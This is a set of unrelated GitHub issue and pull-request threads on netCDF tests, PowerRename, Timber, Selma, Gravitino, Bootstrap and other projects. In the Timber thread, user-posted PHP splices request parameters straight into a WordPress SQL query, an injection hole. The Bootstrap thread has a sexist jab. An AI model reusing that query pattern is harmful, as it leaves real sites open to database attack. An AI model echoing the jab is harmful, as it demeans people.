***Test xfail 1: nc_open_mem(): write to read-only
***XFail: status=-37 NetCDF: Write to read only
***Test xfail 2: nc_open_memio(): modify without overallocating
***XFail: status=1 Operation not permitted

*** Testing the inmemory API: netcdf-4.
***Test open 1: nc_open_mem(): read-only

***Test open 2: nc_open_memio(): read-only
finaldata: size=11537 memory=0x7f87a200a600

***Test open 3: nc_open_memio(): read-write, copy
finaldata: size=11537 memory=0x7f87a200d400

***Test open 4: nc_open_memio(): read-write, locked, extra space
finaldata: size=262144 memory=0x10be68000

***Test create 1: nc_create_memio(): no initialsize
finaldata: size=65536 memory=0x7f87a2076c00

***Test create 2: nc_create_memio(): initialsize; save file
finaldata: size=65536 memory=0x7f87a2086c00

***Test misc 1: use nc_close on created inmemory file

***Test misc 2: use nc_close on opened inmemory file

***Test xfail 1: nc_open_mem(): write to read-only
***XFail: status=-37 NetCDF: Write to read only

***Test xfail 2: nc_open_memio(): modify without overallocating
Suppressed because of HDF5 library bug

ok.
*** Tests successful!
HDF5 1.10.2
*** Testing the inmemory API: netcdf-3.
***Test open 1: nc_open_mem(): read-only

***Test open 2: nc_open_memio(): read-only
finaldata: size=300 memory=0x7fba34d03640

***Test open 3: nc_open_memio(): read-write, copy
finaldata: size=348 memory=0x7fba35006a00

***Test open 4: nc_open_memio(): read-write, locked, extra space
finaldata: size=262144 memory=0x10249c000

***Test create 1: nc_create_memio(): no initialsize
finaldata: size=300 memory=0x7fba35005400

***Test create 2: nc_create_memio(): initialsize; save file
finaldata: size=262144 memory=0x10249c000

***Test misc 1: use nc_close on created inmemory file

***Test misc 2: use nc_close on opened inmemory file

***Test xfail 1: nc_open_mem(): write to read-only
***XFail: status=-37 NetCDF: Write to read only

***Test xfail 2: nc_open_memio(): modify without overallocating
***XFail: status=1 Operation not permitted

*** Testing the inmemory API: netcdf-4.
***Test open 1: nc_open_mem(): read-only

***Test open 2: nc_open_memio(): read-only
finaldata: size=11537 memory=0x7fba35005400

***Test open 3: nc_open_memio(): read-write, copy

***Fail: line: 478; status=-101 NetCDF: HDF error
***Fail: line: 624; status=-101 NetCDF: HDF error

@DennisHeimbigner is there an API change you might be aware of that would explain this? If not, I'll investigate further to see if we need to do something different for inmemory functionality, or if we need to open a bug report with the HDF group for their 1.10.x branch.

The branch I'm working on has added explicit error checking so the script now fails as expected, at least.

Note: Failure is at nc4mem.c:101, the call to H5Pget_file_image().  It is returning -1 with hdf5 1.10.2.

BTW I checked the other shell scripts for this same sort of problem, but didn't find one. In other cases, we call our test programs like this:
# Try to rename 2nd level group
if ! ${execdir}/renamegroup tst_grp_rename.nc "inner/inner_inner" "inner_renamed" ; then
  echo "***FAIL: attempt to rename /inner/inner_inner failed"
  FAIL=1
fi

exit $FAIL

or (most often) like this:
echo "Generating test netcdf files."
${execdir}/tst_empty_vlen_unlim

@edhartnett Thanks Ed!

I am working on the underlying problem. It is indeed how 1.10
handles the core driver and image file access. Hope result
will be somewhat less fragile.

Thanks @DennisHeimbigner.  The branch gh1111.wif has fixes to the shell script, if you want to work in that branch. Otherwise I can merge the two together with your branch. Thanks!

Ok, when I get it working, I will go ahead and merge the fix into the gh1111.wif
branch.

I believe this has been fixed and merged, so I will close the ticket.


[Docs] Always use the same wording for the style

I have also fixed the JSDoc syntax.

Consistency FTW :+1: :+1: Thanks :grin:


Search

This PR implements search over profile statements as well as user and community names. It doesn't modify the homepage because that will be done later (#2809).

Hey @Changaco, why didn't you put the form for searching in the navbar?

Rebased on master.

@clone1018 Because that's more complicated.

@Changaco Can you elaborate? Form tags inside nav bars aren't anything new.

I'm going to merge this because it's a great feature and we can always improve.
Thanks @Changaco, deploying now.


The result is lower than expected

Hello, I think your work is excellent, but when I was reproducing the code. The BLEU obtained from training the IU dataset peaked at 0.46 in the fourth epoch, but gradually decreased and stabilized at around 0.25 thereafter. May I ask what the problem is?

But when I tested the weight file you provided, I did get a score of 0.525. Is it because I directly used the images300_array you provided instead of generating it myself? Or is the IU dataset smaller and more susceptible to hyperparameters?

Hello, I think your work is excellent, but when I was reproducing the code. The BLEU obtained from training the IU dataset peaked at 0.46 in the fourth epoch, but gradually decreased and stabilized at around 0.25 thereafter. May I ask what the problem is?

Thank you for your interest in EKAGen. For text generation tasks, when training on small datasets, we have observed similar experimental phenomena across many models. The model can be quite sensitive to factors like batch size and even the GPU. IU X-ray suggests trying to adjust hyperparameters, such as reducing the batch size.


PowerRename using a csv to add another value based on a value in the file

Description of the new feature / enhancement
I often receive image files with a part number in the name to which I need to add a reference key number from a database. If it were possible to search for the part number in a csv file and return the reference key to be added, it would be great.
Scenario when this would be used?
For example, the file name is abcdefg.jpg
In the database, the key for abcdefg is 12345678
What I would like to do is search for the reference key in the database and rename the file to abcdefg_12345678.jpg
Supporting information
No response

Thank you for reporting this! This is an interesting idea, but likely falls outside of the general scope of use cases PowerRename seeks to enable. If there's enough community support for this functionality, we'd be happy to work with you on incorporating it in the product.

Related/duplicate to #3454

closing against 3454


Remove duplicate signs and avoid them in the future

I did several things here:

6a7a0ff Update the devDependencies for npm to the latest versions
e45aac9 Shrink the cow in the domestic-animals-sign for CA to fit the sign
3c292f3 c35b70b 6829ea6 Deduplicate multiple signs with same key (e.g. no-trucks existed twice for DE)
5651893 Add a new check-task to gulp, that builds traffico and then checks if any sign is defined twice for the same country. If there is such a sign, the build fails

When this pull request is merged, you should do a npm update to update dependecies. And instead of npm run gulp you now have the choice between npm run build (building without sanity checks) and npm run check (building with sanity checks). Travis uses the latter by default.

By the way: @knikel you should tag the latest release in this repository with a git tag, this would update http://traffico.io automatically (currently the site still offers v0.1.8).

Now the remaining duplicate signs are fixed too, and in 0c4ef19 I added the javascript linter to the sanity-checks.
I'm not sure, how the signs with variations are intended to work, but I didn't break something in this regard.

Thanks a lot!


Add support for nested create/configure calls

As mentioned in #71, it would be nice to allow nested entity creation. To do that we need to slightly adjust the entity.kt file to always directly access the component mask of the entity in the create/update context instead of setting it beforehand.
I made those adjustments and checked if this has any impact on the performance and it doesn't seem like it. So the change seems to be fine and avoids the issue with nested calls for both create and configure.
Test cases are of course added. They failed before but now they are successful!

@rubybrowncoat: Can you please try those changes locally in your game? To do that, just check out this branch locally and execute the publishToMavenLocal gradle task after changing the Fleks version to e.g. 2.1-SNAPSHOT. The important part is the -SNAPSHOT so that you don't need to sign the created files.

I won't release a 2.1 version so fast because there might be other things popping up in the next 2 or 3 weeks but you can work with this updated version already locally until then.

I have tried the branch and can confirm that the nesting entity {} calls is working correctly. I'll report back if I notice anything unexpected happening related to this enhancement.
Thanks!

@rubybrowncoat: I merged this PR and will close the issue. I will prepare a new version 2.1 in two or three weeks including also an upgrade to Kotlin 1.7.20 and maybe other things.
If you face other issues/questions, please feel free to raise them :)
Thank you for your feedback!


Should 'describes condition' be a subproperty of 'is about'?

It seems that it should, but there might be reasons I'm overlooking for why it shouldn't.

@avsculley makes sense to me.
@neilotte @johnbeve Disagree?

def should


Use associatedtype instead of typealias inside of a protocol definition.

I changed the use of typealias inside of the ArgumentDescriptor protocol definition to be associatedtype instead.
https://github.com/apple/swift-evolution/blob/master/proposals/0011-replace-typealias-associated.md
Address issue #23

Sorry, but it's too early for this one. Swift 3.0 won't be out for a while (6+ months) and this isn't compatible with Swift 2.2.

@kylef FWIW this is compatible with 2.2

@Reflejo That's right, now that Swift 2.2 is out I'm happy to get this merged in.
I've merged these changes in via https://github.com/kylef/Commander/pull/29 since they are on-top of a newer master and therefore use the newer version of Swift in CI and the CI was passing.
Thank you for your change @BlakeLucchesi.


[MagicNumber] Allow ignoring default values in constructor properties

As mentioned in sonar-kotlin
the default values are always reported: class SomeClassWithDefault(val defaultValue: Int = 10)
Maybe we should also add an ignore property for class/object constructor properties.
Here a first test case:
given("in class declaration with default properties") {
    val ktFile = compileContentForTest("class SomeClassWithDefault(val defaultValue: Int = 10)")

    it("should report no finding") {
        assertThat(MagicNumber().lint(ktFile)).isEmpty()
    }
}

👌

Closed in 07555cf


v2.9.8

This is an automated message from CI:
Docker Image for build 2 is available on DockerHub as jc21/nginx-proxy-manager:github-pr-1348
Note: ensure you backup your NPM instance before testing this PR image! Especially if this PR contains database changes.


os and linux what is the difference?

example:
os.mem vs linux.mem
os.net vs linux.net
os.disk vs linux.disk

Often they will be the same. os.* exists so we can have a unified view of
things that we can transform to standard across operating systems. For
example os.cpu is utilization 0-100% as a counter for both Linux and
Windows.
Since OpenTSDB is very storage efficient I don't worry about the
duplication of data.
This way only one alert needs to be written for host cpu (instead of one
per OS) in a mixed environment (like we have at Stack).
On Sun, Feb 8, 2015 at 4:39 AM, wkshare<EMAIL_ADDRESS>wrote:

example:
os.mem vs linux.mem
os.net vs linux.net
os.disk vs linux.disk
—
Reply to this email directly or view it on GitHub
https://github.com/bosun-monitor/bosun/issues/702.

i got it


Bugs with Laravel 6.0

Clean project with laravel6 and Voyager1.2, throws errors when trying to delete roles and others.
There is no support for laravel6 yet?

I've Repeat the same process with laravel 5.8 and works fine

You can use the search to find it: #4376 !


Remove deployment configuration from ci

Proposed changes
Simplify the CI workflows by skipping GitHub deployments configuration. We don't use deployments in any other place at the moment.
Readiness checklist
In order to have this pull request merged, complete the following tasks.
Pull request author tasks

[x] I included all the needed documentation for this change.
[x] I provided the necessary tests.
[x] I squashed all the commits into a single commit.
[x] I followed the Conventional Commit v1.0.0 spec.
[x] I wrote the necessary upgrade instructions in the upgrade guide.
[x] If this pull request is about and existing issue,
I added the Fix #ISSUE_NUMBER label to the description of the pull request.

Super-linter maintainer tasks

[x] Label as breaking if this change breaks compatibility with the previous released version.
[x] Label as either: automation, bug, documentation, enhancement, infrastructure.

@zkoppert @Hanse00  can any of you please have a look at this one, given it's a (simple) edit of the cd workflow?
Thanks!

PS: this is a step towards reducing duplication in our workflows.


Please set default gutter to 10px between columns.

Please set default gutter to 10px between columns in next version of bootstrap, our team thinks it's wrong to be 30px...

I think in your team, you have at least 1 girl, am I right?

دهنت سرویس از کجا فهمیدی؟
Services mouth how did you know?

You can customize this if you like, but we'll probably be sticking to the v3 values for it.


Sending emails using personalizations with invalid email

I am using /v3/mail/send to send email using Transactional templates.
The personalization some times contains invalid email (since they are coming from 3rd party)
Questions:

Is there a way I can send email to rest of the valid and skip invalid. Right now complete batch fails
What kind of email validation does SendGrid do? Is it just a<EMAIL_ADDRESS>Is there a way I can run validations with SendGrid before sending so I can skip those emails?

When I contacted SendGrid they pointed me to there paid server which validates email (and does lot of other things). They were not ready to provide what is the criteria they have for valid email.
Instead I added a regex to validate emails on my side before I add to personalization.
Regex (as per RFC2822 standards):
/[a-z0-9!#$%&'*+/=?^_{|}~-]+(?:.[a-z0-9!#$%&'*+/=?^_{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?/i

I'm using isemail on a number of projects now, and used it here as well. After going through lots of regex and other validation libs, I settled on this one. It validates the kinds of emails we want to accept on ecommerce, email subscriptions, stuff like that. It has a few options such as "blacklist tlds" that lets me exclude common issues like .xom. Working with SendGrid for the past 3 days, sending emails to about 20k unique addresses. We'll see how it continues to do.

@charlie-s ok sure.


Ignore text before changelog section

close #233
based on #245

Could we adjust this so we can keep custom text in changelog sections as well. So we could custom text like special migrations notes / highlights.
I was thinking of either creating a hook to intercept the generation or by using something like a comment <!--- keep start --> and <!-- keep end -->

:point_up: this looks like a new feature request: Add syntax for manual content inside changelog this pull here trys to just preserver anything before the changelog

@anbraten  Do you insist on addressing the change with your suggestion ?

@6543 https://github.com/6543-forks/plugin-ready-release-go/pull/1


TerraformInstaller@1 fails with ambiguous identifier

Using the TerraformInstaller@1 fails with the following error
Job Build: Step  task reference is invalid. The task name TerraformInstaller is ambiguous. Specify one of the following identifiers to resolve the ambiguity: ms-devlabs.custom-terraform-tasks.custom-terraform-installer-task.TerraformInstaller, charleszipp.azure-pipelines-tasks-terraform.azure-pipelines-tasks-terraform-installer.TerraformInstaller

it is because you have two extensions that have the same tasktames. either reference by full name or remove one or the other.
br
Manuel

Why does this issue happen, haven't seen this any other tasks?

The original issue I was trying to solve was that the ubuntu-latest image gave me different terraform versions plan and deploy.

Hi. ambiguous names can occur because different extensions can have the same task names. extension names have to unique but not the underlying tasks. The same can happen when you reference different third party libraries from different sources. I would say it is pretty common.


CLI tools to send and receive HL7 messages

Start an HL7 server on port 56001:
medplum hl7 listen 56001

Send an HL7 message to that server:
medplum hl7 send localhost 56001 'MSH|...'

Don't want to type in an HL7 message?  No problem.
Send an automatically generated message to the server:
medplum hl7 send localhost 56001 --generate

Send a message stored in a file:
medplum hl7 send localhost 56001 --file my-sample-hl7.txt

I briefly looked into supporting piped input, but it looks like we need to handle that at a lower level, so saving that for another day: https://github.com/tj/commander.js/issues/137

coverage: 93.959% (-0.09%) from 94.049% when pulling af04b54c01645b5e8ec8813e9ea56a334cc3322e on cody-cli-hl7-commands into 7b96084478e4a79cbe9a86a0e0e16594f6036c60 on main.


Enrich CRUD API output with metadata

This patch changes output format of CRUD API from objects to rows
+ metadata.
Before:
crud.insert('customers', {
    id = 1, name = 'Name', age = 1,
})
---
- bucket_id: 1
  age: 1
  name: Name
  id: 1
...

After:
crud.insert('customers', {
    id = 1, name = 'Name', age = 1,
})
---
- - rows:
     - [1, 1, 1, 'Name']
    metadata:
     - name: id
       type: unsigned
     - name: bucket_id
       type: unsigned
     - name: age
       type: unsigned
     - name: name
       type: string

It's useful when user call crud functions via connectors and (s)he
doesn't really need to deserialize tuples to map.
Need for #6

@olegrok thank you for the patch, my praises have been heard!

@olegrok @dokshina will the support for tuples as input type be added in the nearest patches?

@olegrok @dokshina will the support for tuples as input type be added in the nearest patches?

I don't know. I hope we will introduce *_tuple methods for all DML operations.
But currently it's my own thoughts. And it should be additionally discussed.

@olegrok I think you can trivially differentiate between a tuple and a map. Maps have at least one non-integer key.

This means you can accept both in the insert() method.

I would like to use insert and insert_object functions rather than detection it from the passed object structure. It causes less errors and allows to check user input correctly. Moreover, it's quite simple to to implement, and I don't see any reason to accept both tuple and object by one insert function.

This means you can accept both in the insert() method.

I would like to use insert and insert_object functions rather than detection it from the passed object structure. It causes less errors and allows to check user input correctly. Moreover, it's quite simple to to implement, and I don't see any reason to accept both tuple and object by one insert function.

OK, it makes sense.

Also, please don't forget to update CHANGELOG.

Also, please don't forget to update CHANGELOG.

Added


Transaction Data Mismatch

Describe the bug
The Latest Transactions data doesn't match in the two pages

https://opencollective.com/bundlephobia/v2 - version 2 (new design)
https://opencollective.com/bundlephobia - version 1 (older design)

--- VS ---

Good catch, that's because we show the amount after Stripe/OC fees in one case and not the other. I'll update that so design match.

@Beetree Are you going to create an issue for this or you have it assigned to yourself already? Is this really a frontend related issue?

@sudo-kaizen It is, I'm on it already.


Default options object in helpers-markdown.

If no options are passed into the helpers-markdown register function, fallback on an empty object so lookups on options.marked don't throw errors.

@shannonmoeller, thanks! we're about to release the next version of this but I'll probably merge this in anyway, in case devs need to keep using the current version.


Ability to list hidden tables

The PR #7072 introduced hidden tables used for the dry runs.
The tables are internal temporary tables, so they are not displayed to the user in the Connection.tables list.
However, sometimes the user may want to display them. So we want to add an option show_internal_enso_tables:Boolean = False that will allow to request (by setting it to True) to show these tables.
I did not add them straight away, because that will make the Connection.tables node very big, for a feature that is rarely needed.
This ticket should only be attempted once the new node design is completed and so we can make sure that the new show_internal_enso_tables flag is hidden by default and is displayed only once the node is expanded.
The implementation itself is trivial - we already have the logic in a private function get_tables_advanced. We just need to connect this logic and ensure that the newly added show_internal_enso_tables parameter is not displayed by default.
Once this is done, the get_tables_advanced will be practically equivalent to the main tables so they can be merged (the private method can be removed, implementation moved back to tables).

Blocked by #5922 (if I got the ticket right - precisely by the ability to have parameters that are not displayed by default and only show up when the node is expanded).


notes on build-site.sh - shell of submit-approve-merge.md

@brooklynrob - could you please update the PR by setting the following on build-site.sh and remove the comments you added?
export ALLOY_MODELS="purealloy-modeling purealloy-modeling-samples cdm commonrefdata"

TY!

It's actually ONLY the comments I wanted to add. Maybe @maoo let's just delete this PR and I'll resubmit later.


[Bug report] Missing comment of the struct field when creating table

Version
main branch
Describe what's wrong
curl 'http://<IP_ADDRESS>:3002/api/metalakes/metalake_demo/catalogs/catalog_hive/schemas/sales/tables' \
  -H 'Accept: application/vnd.gravitino.v1+json' \
  -H 'Accept-Language: zh-CN,zh;q=0.9' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/json;charset=UTF-8' \
  -H 'Origin: http://<IP_ADDRESS>:3002' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://<IP_ADDRESS>:3002/catalogs/catalog_hive/sales?catalogType=relational' \
  --data-raw '{"name":"table7","comment":"","columns":[{"name":"structComment","type":{"type":"struct","fields":[{"name":"field","type":"binary","nullable":true,"comment":"xxx1111"}]},"nullable":true,"comment":""}],"properties":{}}' \
  --insecure

get the response
{     "code": 0,     "table": {         "name": "table7",         "comment": "",         "columns": [             {                 "name": "structcomment",                 "type": {                     "type": "struct",                     "fields": [                         {                             "name": "field",                             "type": "binary",                             "nullable": true                         }                     ]                 },                 "comment": "",                 "nullable": true,                 "autoIncrement": false             }         ],         "properties": {             "input-format": "org.apache.hadoop.mapred.TextInputFormat",             "transient_lastDdlTime": "1725612072",             "output-format": "org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat",             "location": "hdfs://hive:9000/user/hive/warehouse/sales.db/table7",             "table-type": "MANAGED_TABLE",             "serde-lib": "org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe",             "serde-name": "table7"         },         "audit": {             "creator": "anonymous",             "createTime": "2024-09-06T08:41:12.419Z"         },         "distribution": {             "strategy": "none",             "number": 0,             "funcArgs": []         },         "sortOrders": [],         "partitioning": [],         "indexes": []     } }
Missing the comment of the struct field
[{"name":"field","type":"binary","nullable":true,"comment":"xxx1111"}]
Error message and/or stacktrace
N/A
How to reproduce

create a table by curl above
get the response

Additional context
No response

@mchades Would you help to have a check?

@LauraXia123 For source code I saw the column's comment is not supported for hive struct column. Maybe this is the reason why comment of the struct field was missing.


[BUG] Profile icon animations ignore prefers-reduced-motion

Description
prefers-reduced-motion is a CSS feature that allows developers to know when a user does not wish to see non essential movement.
Not respecting these wishes is an accessibility issue. There are conditions that make these animations harmful to users (think the flashing lights warnings before certain TV shows).
Tailwind requires special notation to handle prefers-reduced-motion
Screenshots
No response
Do you want to work on this issue?
None
Additional information
No response

Great idea! Here is one example of animation on the site for context https://www.biodrop.io/pricing

Hi, Please assign this issue to me

Hi, Please assign this issue to me

Hello! You are now assigned to this issue. Thank you for contributing

Hi, can I also work on this issue? In fact, I have already added the necessary tailwind classes

Hi, can I also work on this issue? In fact, I have already added the necessary tailwind classes on my code

This issue was already assigned. To be able to know if an issue is open you can check the assignees and the conversation in the issue to help you be able to know.


ignore_text_within: does not consider ancestor elements

It seems that the ignore_text_within: option in Selma::Selector only checks the direct parent element, but does not account for ancestor elements.
Code example:
require 'selma'
class MatchText
  SELECTOR = Selma::Selector.new(match_text_within: "*", ignore_text_within: ["code"])

  def selector
    SELECTOR
  end

  def handle_text_chunk(text)
    text.replace(text.to_s.sub('foo', 'bar'), as: :html)
  end
end

rewriter = Selma::Rewriter.new(sanitizer: nil, handlers: [MatchText.new])
result = rewriter.rewrite(<<~HTML)

foo
foofoo
HTML

puts result

Expected behavior:
The text within code elements, including nested or wrapped content, should not be modified.
Expected output:

bar
foofoo

Actual behavior:
The text within code > span element is modified, even though ignore_text_within: is set to exclude code. This suggests that only the direct parent is checked, rather than considering ancestor elements.
Actual output:

bar
foobar

Huh, interesting. I think I know why this is happening, but, could you change your example to code * and try again? That might at least unblock you. (Sorry, it will be a few days before I can look into this properly!)

could you change your example to code * and try again?

I tried that, but it didn’t work. Thanks anyway!
require 'selma'
class MatchText
  SELECTOR = Selma::Selector.new(match_text_within: "*", ignore_text_within: ["code *"])

  def selector
    SELECTOR
  end

  def handle_text_chunk(text)
    text.replace(text.to_s.sub('foo', 'bar'), as: :html)
  end
end

rewriter = Selma::Rewriter.new(sanitizer: nil, handlers: [MatchText.new])
result = rewriter.rewrite(<<~HTML)

foo
foofoo
HTML

puts result

result

bar
barbar

Ok, thanks for trying that! I can get to this within the next few weeks. I wrote a test based on the bug and I am really sure I know what's going on. The downside is that I actually don't think the CSS parser supports hierarchy at all (meaning, code span, code *, etc, should work but don't). It's a separate issue but I'm trying to ideate on how to work around that specifically.

Well, the PaaS I use at work for deployments was down today, so I fixed this instead.

Thank you so much for addressing the issue!


Use Domain ID when fetching the device list from netshot

When syncing between netbox and netshot, we already need to pass the netshot_domain_id. Newly added devices are added in that domain.
However, when fetching the list in netshot, so we know what devices to disable, we don't use that domain_id, so we will disable all devices instead of just the ones we are trying to sync.
I have a usecase with two groups of devices in netbox, that have a different device role (customers, backbone). Each role goes into it's own domain in netshot. The current code will disable all devices from the customer domain, when I sync the backbone domain and visa versa.
Example commands to sync both groups:
$ netbox2netshot --netbox-url http://x.x.x.x --netbox-token xxx --netbox-devices-filter "status=active&role=cpe" --netshot-url https://y.y.y.y --netshot-token yyy --netshot-domain-id 1
$ netbox2netshot --netbox-url http://x.x.x.x --netbox-token xxx --netbox-devices-filter "status=active&role=backbone" --netshot-url https://y.y.y.y --netshot-token yyy --netshot-domain-id 2

This MR fixes this, by fetching only the devices that we are actually trying to sync.
As a small bonus, I fixed two typo's.

Hello Michael.
Great, thank you for your PR, indeed in my case I only had 1 domain so we did not fase this issue, looks good for me (but I don't have a netshot instance anymore to test it), I will merge it and create a new release.
Thank you again. :)
Mathieu


Trying to make an Ajax posts searching feature.

Hey there,
I have a page that display a list of post type and would like to add on this page a search/filter feature.
However I'm stock on the ajax request and try to user PostQuery on title. It's look like PostQuery doesn't work with post title. So I thought about doing at first a standard WP query in order to get my post filtered by title; and then get all id of posts return by this query and push them into PostQuery in order to get the right structure for my view.
So I'm wondering if there is a better solution :/
Here what I'm doing for now:
In my function.php I setup my routes likes that:
Routes::map('/my-post-type', function ($params) {
    if (!is_user_logged_in()) {
        wp_redirect(home_url().'/login');
        exit();
    }
    $user = wp_get_current_user();
    if ($user->roles[0]=="subscriber") {
        $post_type="publish";
    } else {
        $post_type="any";
    }
    $query = 'post_type=my-post-type&order=ASC&orderby=title&post_status='.$post_type;
    Routes::load('my-post-type.php', $params, $query, 200);
});

my-post-type.php:
<?php
use Timber\Timber;
use Timber\Post;

$context = Timber::context();
$context['post']= new Post();
$url = $_SERVER['REQUEST_URI'];
if (strpos($url,'/page/')==true){
    $url = substr($url, 0, strpos($url, "page/"));
}
$context['url'] = $url;
\Timber\Timber::render('my-post-type/list.twig', $context);

My twig view with the searching form:

               <form id="search" method="GET" action="{{ site.link }}/wp-admin/admin-ajax.php" class="procedure">
                <input type="text" class="search-field" name="searchName" placeholder="Post name">
                <input type="hidden" name="action" value="dynamic_search">
                <input type="hidden" name="entity" value="my-post-type">
                <input type="submit" value="Search">
            </form>

                {% for i, post in posts %}
                    {% set description = post.meta('form-description') %}
                    {% set shortcode = post.meta('form-shortcode') %}
                    {% set lien = post.meta('name') %}
                    {% if shortcode is not empty %}

                            {% if post.post_status != "publish" %}

Non publié

                            {% endif %}

{{ post.post_title }}

                                {{ description |raw | nl2br |truncate(50)}}

                                Lire la suite

                    {% endif %}
                {% endfor %}

My ajax request on JS side:
var handleSearchPosts = () => {
    	const form = $("#search");
      form.submit(function () {
          $.ajax({
              url : '/wp/wp-admin/admin-ajax.php',
              type : 'GET',
              data: form.serialize(),
              dataType:'html',
              success: function (data) {
                  console.log(data)
                  // $('.list-item').html(data);
              },
              error: function (r,s,e) {
              }
          });
          return false;
      })
    };

And finally, the Ajax request on php side:
public function dynamicSearch() {
        $results = [];
        if ($user = wp_get_current_user()) {
            $user->roles[0]=="subscriber"?$isSubscriber=true:$isSubscriber=false;
            if (isset($_REQUEST["entity"])) {
                $search = isset($_REQUEST["searchName"])?$_REQUEST["searchName"]:"";
                $results = $this->searchElem($search, $_REQUEST["entity"], $isSubscriber);
            }
        } else {
            $results = 'Your are not authorize to use this search.';
        }
        if (is_array($output)) {
            print_r($output);
        } else {
            echo $output;
        }
        die;
    }

    public function searchElem($search, $post_type, $isSubscriber){
        global $wpdb;
        $posts = [];

        $query = "
		SELECT *
		FROM {$wpdb->prefix}posts
		WHERE post_type = '".$post_type."'";

        if ($isSubscriber){
            $query .= " AND post_status = 'publish'";
        }
        if (!empty($search)) {
            $query .= " AND post_title LIKE '%".$search."%'";
        }
        $results = $wpdb->get_results($query);
        foreach ($results as $result) {
            $posts[] = $result->ID;
        }
        $args = [
            'post__in'          => $posts,
            'post_type'         => $post_type,
            'order'             => 'ASC',
            'orderby'           => 'title'
        ];
        return new PostQuery($args);
    }

Thanks for the help and your time.

Hi there! We try to keep GitHub clear for just bugs with the Timber code itself. For questions like this, please post to the StackOverflow channel:
http://stackoverflow.com/questions/tagged/timber
... I'll try to follow-up there if there's an answer I can provide. It'd be helpful if you could isolate things a bit more. Is this about the best way to generally do AJAX? Handle search with a PostQuery?

Hi there! Sorry for the trouble. Here the stackoverflow link of the question : https://stackoverflow.com/questions/60604556/how-to-handle-ajax-search-with-a-postquery-on-post-title-and-pagination
Thanks


[windows][cws] add specific registry types for notifications

Updates previous PR.  In previous PR, each file type was given a specific go type, but didn't follow through on registry types.  This completes that operation by providing distinct types for each registry notification.
<!--

### Motivation

completeness

### Additional Notes

### Possible Drawbacks / Trade-offs

### Describe how to test/QA your changes

included automated (kitchen) tests validate change

/merge


Missing tech node

There's a tech tree node that's not making it into the pruned tech tree. Cache shows the "cryonics" node is properly configured and has parts depending on it, but it's missing from HETTN.TechTree.

Zip file contains the KSP log, the HETTN tree and the ModuleManager cache.
Files.zip

Sorry for the delay. I will take a look.

Closing this issue as further inspection revealed the problem to be caused by another mod


Request - exifr.gps() + Altitude

Hi,
I love the speed of the program only parsing certain lines, and I attempted exifr.parse(file, [latitude, longitude, GPSAltitude]) but got an error and would rather not have to do the conversion from decimal lat/lon on my part.
Could we have a exifr.gpsA() which returns the formatted lat/lon pair as well as the altitude (ideally rounded to 0 decimal places)?
Thanks so much for your work on this!
One more thing, I tried to parse from a URL (hosted on Twilio, and involves a number of redirects, but it didn't seem to get to the image? Is there a way I can share a link with you privately?
Thanks,
TM

Hello, thanks for using the library. I'm on a vacation right now so I can't fully look into it yet.
Could you elaborate about what goes with with the snippet you used. The concrete error it throws, or something I can latch onto while debugging?
gpsa() I guess we can do that. I never encountered usable and reliable altitude field in any photo so it haven't crossed my mind yet.
Url fetching in exifr is very basic. It can't handle redirects or any other difficult cases. There are many http libraries out there and not using one would require to implement it myself in exifr. That's a whole lot a of work, source of bugs, inflated file size, etc... Exifr is just the image parser (plus some sugar-y methods here and there). Sorry. You will have to fetch the file in your code and feed the buffer into exifr.
I'll get back to you when I return.
Thanks. Mike

Hello.
So I thought about it and I'm closing this with a no. It is a very specific request which would not bring that much of a value when compared to increased file size. But fear not. It's not like you cannot achieve what you want with already existing API.
let tags = [
  'GPSLatitude',    'GPSLongitude',    'GPSAltitude',
  'GPSLatitudeRef', 'GPSLongitudeRef', 'GPSAltitudeRef',
]
let output = await exifr.parse(file, tags)

and the output is
{
  GPSLatitudeRef: 'N',
  GPSLatitude: [ 50, 17, 58.57 ],
  GPSLongitudeRef: 'E',
  GPSLongitude: [ 14, 49, 13.06 ],
  GPSAltitudeRef: Uint8Array(1) [ 0 ],
  GPSAltitude: 252,
  latitude: 50.29960277777778,
  longitude: 14.820294444444444
}

Important to note: you cannot use 'latitude', 'longitude' in the tags argument exifr.parse(file, [...]) because those are not a real tags that can be extracted. These are calculated on the fly by exifr, if there's GPSLatitudeRef and GPSLatitude or GPSLongitudeRef and GPSLongitude in the output. So by requesting these (along with GPSAltitude) you get all you want, both in processed and raw form.
I know you mentioned some error occurred with this approach but I believe it was a typo (maybe you didn't use strings in the array), or there's a bug in exifr. In which case, I'd love to look into it if you provide me with the image.


updateOrgSetting failed: not found

Under settings, then the organisation tab, tick the checkbox for 'show beneficiary suggestions'. When save is clicked, a message is displayed saying 'Failed to save, please try refreshing'. This was found using my personal user account.
Response from server is as follows:
{
	"data": {
		"updateOrgSetting": null
	},
	"errors": [
		{
			"message": "not found",
			"locations": [
				{
					"line": 2,
					"column": 3
				}
			],
			"path": [
				"updateOrgSetting"
			]
		}
	]
}

Thanks @k-l-reid. It turned out the organisation assigned to your account was not present in the database. I have created this and ensured it doesn't affect other customers.


search by phoneCode

Currently, i think the lib is very beautiful if user can search by phoneCode

@Daniel-Ioannou

Thank you for your contribution. Released in v2.0.14.


Add bash build script

Because you can't have proper cross-platform support without a build.sh & build.ps1

Perfect! @spboyer thank you for your contribution!


i672 Create an object factory that supports Valkyrie

Ref

https://github.com/samvera-labs/bulkrax/issues/672

Much of this code has been adapted from Surfliner
Intended to be run in Hyrax's .koppie using code changes in this branch.

this was pulled in to other PRs


Incorrect App ID

One of the application IDs (d3590ed6-52b3-4102-aeff-aad2292ab01c) is listed twice - perhaps that's incorrect?

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: b2cf31a5-621a-eeac-26c9-89ada49466c0
Version Independent ID: b2cf31a5-621a-eeac-26c9-89ada49466c0
Content: Extend a Teams personal tab app for Microsoft 365 - Teams
Content Source: msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
Service: msteams
GitHub Login: @surbhigupta
Microsoft Alias: lajanuar

Hello @HiltonGiesenow - Thanks for raising your query:
We already have a note in the documentation that "Some Microsoft 365 client applications share Client IDs."

Could you please let us know if you have any further query here?

